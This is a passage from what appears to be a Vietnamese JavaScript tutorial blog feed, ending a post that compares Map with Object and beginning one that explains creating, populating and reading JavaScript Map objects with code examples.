class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * a 1 * b 2 */</span></code></pre></div> <p>Với Object, bạn chỉ có thể duyệt qua các <code>key</code>, sau đó lấy <code>value</code> thông qua <code>key</code> (vì object mặc định <strong>không phải <a href="/iterable-la-gi-iterable-trong-javascript/">iterable</a></strong> nên không dùng được với <code>for...of</code>).</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> key <span class="token keyword">in</span> obj<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> obj<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * a 1 * b 2 */</span></code></pre></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Như vậy là mình đã so sánh Map với Object. Qua đây, mình thấy rằng Map đúng là rất phù hợp với các yêu cầu liên quan đến lưu trữ dữ liệu.</p> <p>Vì nó hỗ trợ sẵn các phương thức liên quan đến việc <strong>thêm, sửa, xoá</strong> dữ liệu dựa theo <strong>key</strong>. Còn đối với các yêu cầu khác thì mình vẫn phải/nên sử dụng Object.</p> <p>Các bạn thấy Map và Object giống và khác nhau ở những điểm nào nữa không? Nếu biết thì chia sẻ trong phần bình luận nhé!</p> <p><strong>Tham khảo:</strong></p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map - JavaScript</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object - JavaScript</a></li> <li><a href="https://hackernoon.com/out-of-order-keys-in-es6-objects-d5cede7dc92e">Out Of Order Keys in ES6 Objects</a></li> </ul>[email protected]<![CDATA[Map trong JavaScript thì sao?]]><![CDATA[Map trong JavaScript là một loại object cho phép lưu trữ dữ liệu theo kiểu key-value. Nghe qua thì Map có vẻ giống với object bình thường. Nhưng không phải tự nhiên mà người ta tạo…]]>https://completejavascript.com/map-trong-javascript-thi-sao/https://completejavascript.com/map-trong-javascript-thi-sao/<![CDATA[ES6]]><![CDATA[Map]]><![CDATA[Kiểu dữ liệu]]>Sun, 04 Jun 2017 22:30:56 GMT<p><strong>Map trong JavaScript</strong> là một loại object cho phép lưu trữ dữ liệu theo kiểu <strong>key-value</strong>.</p> <p>Nghe qua thì Map có vẻ giống với <a href="/object-la-gi-object-trong-javascript/">object</a> bình thường. Nhưng không phải tự nhiên mà người ta <strong>tạo thêm kiểu dữ liệu Map</strong>.</p> <p>Thực tế, Map có <strong>những đặc điểm riêng biệt</strong> so với object thông thường. Sau đây, mình cùng tìm hiểu về Map trong JavaScript nhé!</p> <h2 id="map-trong-javascript-là-gì" style="position:relative;"><a href="#map-trong-javascript-l%C3%A0-g%C3%AC" aria-label="map trong javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Map trong JavaScript là gì?</h2> <p>Nói một cách đầy đủ, Map trong JavaScript là một <strong>cấu trúc dữ liệu</strong> cho phép lưu trữ dữ liệu theo kiểu <strong>key-value</strong>, tương tự như object. Tuy nhiên, chúng khác nhau ở chỗ là:</p> <ul> <li>Object chỉ cho phép sử dụng <a href="/kieu-du-lieu-trong-javascript/">String</a> hay <a href="/tim-hieu-ve-symbol-trong-javascript/">Symbol</a> làm key.</li> <li>Map cho phép mọi kiểu dữ liệu (String, Number, Boolean, NaN, Object,...) có thể làm key.</li> </ul> <blockquote> <p><strong>Chú ý:</strong> để tránh hiểu lầm, mỗi khi mình dùng từ <strong>object</strong> thì bạn hiểu đó là <strong>object thông thường</strong> mà từ trước đến giờ bạn vẫn sử dụng, không phải <strong>Map</strong>.</p> </blockquote> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> map1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// object</span></code></pre></div> <h2 id="khởi-tạo-map-trong-javascript" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-map-trong-javascript" aria-label="khởi tạo map trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Map trong JavaScript</h2> <p>Cú pháp khởi tạo Map trong JavaScript là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span>iterable<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn có thể truyền vào một <a href="/iterable-la-gi-iterable-trong-javascript/">iterable object</a> để khởi tạo Map. Khi đó, mỗi phần tử của iterable object sẽ tương ứng với một phần tử của Map.</p> <p>Dĩ nhiên, tham số <code>iterable</code> là <strong>không bắt buộc</strong>. Khi bạn không truyền vào <code>iterable</code>, Map sẽ rỗng và không có phần tử nào.</p> <blockquote> <p><strong>Chú ý</strong>: vì Map lưu trữ dữ liệu theo kiểu <strong>key-value</strong> nên mỗi phần tử của iterable object phải là một <strong><a href="/array-la-gi-array-trong-javascript/">mảng</a> gồm 2 phần tử</strong> có dạng: <code>[key, value]</code>.</p> </blockquote> <p>Một số ví dụ:</p> <ul> <li><code>[1, 2, 3, 4]</code>: là một iterable object, nhưng mỗi phần tử của nó là <strong>number</strong> (1, 2, 3, 4). Suy ra, đây <strong>không phải là tham số hợp lệ</strong> để khởi tạo map.</li> <li><code>[[1, 2], [3, 4]]</code>: là một <strong>tham số hợp lệ</strong>. Vì nó là iterable object mà mỗi phần tử lại là một mảng 2 phần tử - <code>[1, 2]</code> và <code>[3, 4]</code>. Khi đó: <ul> <li><code>1</code> là key - <code>2</code> là value</li> <li><code>3</code> là key - <code>4</code> là value.</li> </ul> </li> </ul> <p>Dựa vào những đặc điểm nêu trên, mình có thể khởi tạo Map trong JavaScript theo những cách sau đây.</p> <h3 id="khởi-tạo-map-rỗng" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-map-r%E1%BB%97ng" aria-label="khởi tạo map rỗng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Map rỗng</h3> <p>Để khởi tạo Map rỗng, bạn chỉ cần <strong>không truyền vào tham số</strong> cho hàm khởi tạo:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(0) {}</span></code></pre></div> <h3 id="khởi-tạo-map-từ-array" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-map-t%E1%BB%AB-array" aria-label="khởi tạo map từ array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Map từ array</h3> <p>Array hợp lệ để khởi tạo Map là các phần tử của array phải là <strong>một mảng hai phần tử</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Trường hợp hợp lệ:</span> <span class="token comment">// Mỗi phần tử của mảng đầu vào là một mảng hai phần tử</span> <span class="token keyword">const</span> map2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(2) {1 => "a", 2 => "b"}</span> <span class="token comment">// Trường hợp KHÔNG hợp lệ:</span> <span class="token comment">// Mỗi phần tử của mảng đầu vào không phải mảng hai phần tử</span> <span class="token keyword">const</span> map3 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught TypeError: Iterator value 1 is not an entry object</span></code></pre></div> <h3 id="khởi-tạo-map-từ-arguments" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-map-t%E1%BB%AB-arguments" aria-label="khởi tạo map từ arguments permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Map từ <code>arguments</code></h3> <p>Đối tượng <a href="/object-la-gi-object-trong-javascript/#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-arguments"><code>arguments</code></a> là đối tượng có sẵn trong hàm, dùng để lưu trữ mảng các tham số truyền vào.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">func4</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> map4 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span>arguments<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map4<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">func4</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"one"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"two"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"three"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(3) {"one" => 1, "two" => 2, "three" => 3}</span></code></pre></div> <h3 id="khởi-tạo-map-từ-map" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-map-t%E1%BB%AB-map" aria-label="khởi tạo map từ map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Map từ Map</h3> <p>Bạn có thể khởi tạo Map từ một Map khác:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Khởi tạo map thứ nhất</span> <span class="token keyword">const</span> map6 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map6<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Map(2) {"a" => 1, "b" => 2}</span> <span class="token comment">// Khởi tạo map thứ hai từ map thứ nhất</span> <span class="token keyword">const</span> map6_clone <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span>map6<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map6_clone<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(2) {"a" => 1, "b" => 2}</span></code></pre></div> <h3 id="khởi-tạo-map-từ-set" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-map-t%E1%BB%AB-set" aria-label="khởi tạo map từ set permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Map từ Set</h3> <p>Ngoài ra, bạn có thể khởi tạo Map từ <a href="/ban-biet-gi-ve-set-trong-javascript/">Set</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Khởi tạo Set</span> <span class="token keyword">const</span> set5 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set5<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(2) {Array(2), Array(2)}</span> <span class="token keyword">const</span> map5 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span>set5<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map5<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(2) {"a" => 1, "b" => 2}</span></code></pre></div> <p>Trên đây là một số cách để khởi tạo Map trong JavaScript. Tiếp theo, mình sẽ tìm hiểu về cách để thêm phần tử vào Map.</p> <h2 id="thêm-phần-tử-vào-map" style="position:relative;"><a href="#th%C3%AAm-ph%E1%BA%A7n-t%E1%BB%AD-v%C3%A0o-map" aria-label="thêm phần tử vào map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thêm phần tử vào Map</h2> <p>Để thêm phần tử vào Map trong JavaScript, bạn có thể sử dụng phương thức <code>set</code>, với cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phương thức này gán giá trị <code>value</code> cho khoá <code>key</code> bên trong Map.</p> <p>Nếu <strong><code>key</code> chưa tồn tại</strong> thì Map tạo mới phần tử với <code>key</code> tương ứng. Ngược lại, nếu <strong><code>key</code> đã tồn tại</strong> thì Map sẽ gán giá trị mới cho nó.</p> <p><strong>Vấn đề làm sao biết được <code>key</code> đã tồn tại hay chưa?</strong></p> <p>Map sử dụng thuật toán <a href="https://tc39.github.io/ecma262/#sec-samevaluezero">SameValueZero</a> để <strong>so sánh giá trị</strong> của các key với nhau.</p> <p>Thuật toán <strong>SameValueZero</strong> về cơ bản là giống với việc sử dụng toán tử <code>===</code> để so sánh. Chỉ khác là <strong>SameValueZero</strong> coi <code>NaN</code> là giống nhau, mặc dù <code>NaN !== NaN</code> là <code>true</code>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Khởi tạo Map rỗng.</span> <span class="token keyword">const</span> map7 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Thêm phần tử "a" -> 1 vào map.</span> map7<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(1) {"a" => 1}</span> <span class="token comment">// Thêm phần tử "b" -> 2 vào map, "b" !== "a" nên Map tạo phần tử mới.</span> map7<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(2) {"a" => 1, "b" => 2}</span> <span class="token comment">// Thêm phần tử [1] -> 3 vào map, [1] đều khác "a" và "b".</span> map7<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(3) {"a" => 1, "b" => 2, [1] => 3}</span> <span class="token comment">// Thêm phần tử "a" -> 4 vào map, tuy nhiên key "a" đã tồn tại.</span> <span class="token comment">// => cập nhật vào phần tử cũ - số lượng phần tử không đổi</span> map7<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(3) {"a" => 4, "b" => 2, [1] => 3}</span> <span class="token comment">// Thêm phần tử [1] -> 5 vào map.</span> <span class="token comment">// Trong map đã có phần tử với key [1], tuy nhiên mảng là kiểu tham chiếu.</span> <span class="token comment">// Vì vậy [1] !== [1]. Do đó, phần tử mới được thêm vào map.</span> map7<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(4) {"a" => 4, "b" => 2, [1] => 3, [1] => 5}</span> <span class="token comment">// Thêm phần tử NaN -> 6 vào map.</span> <span class="token comment">// NaN khác các giá trị key đã có, nên phần tử mới được thêm vào map.</span> map7<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(5) {"a" => 4, "b" => 2, [1] => 3, [1] => 5, NaN => 6}</span></code></pre></div> <p>Khi sử dụng <a href="/toan-tu-so-sanh-trong-javascript/">toán tử so sánh</a> bằng nghiêm ngặt <code>===</code> thì <code>[1] === [1]</code> là <code>false</code>. Vì vậy, Map trên tồn tại 2 cặp phần tử với key là <code>[1]</code> với value lần lượt là <code>3</code> và <code>5</code>.</p> <p>Ngoài ra, phương thức <code>set</code> còn trả về chính đối tượng Map. Nên mình có thể áp dụng <a href="/tim-hieu-ki-thuat-method-chaining-co-ban/">kỹ thuật Method Chaining</a> ở đây, sẽ giúp cho code trở nên ngắn gọn hơn.</p> <p>Đoạn code trên có thể trở nên gọn hơn bằng cách:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map7 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map7<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(5) {"a" => 4, "b" => 2, [1] => 3, [1] => 5, NaN => 6}</span></code></pre></div> <h2 id="lấy-giá-trị-của-phần-tử-trong-map" style="position:relative;"><a href="#l%E1%BA%A5y-gi%C3%A1-tr%E1%BB%8B-c%E1%BB%A7a-ph%E1%BA%A7n-t%E1%BB%AD-trong-map" aria-label="lấy giá trị của phần tử trong map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy giá trị của phần tử trong Map</h2> <p>Để lấy <code>value</code> tương ứng với <code>key</code> của map trong JavaScript, bạn có thể sử dụng phương thức <code>map.get(key)</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map7 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map7<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map7<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"c"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Nếu 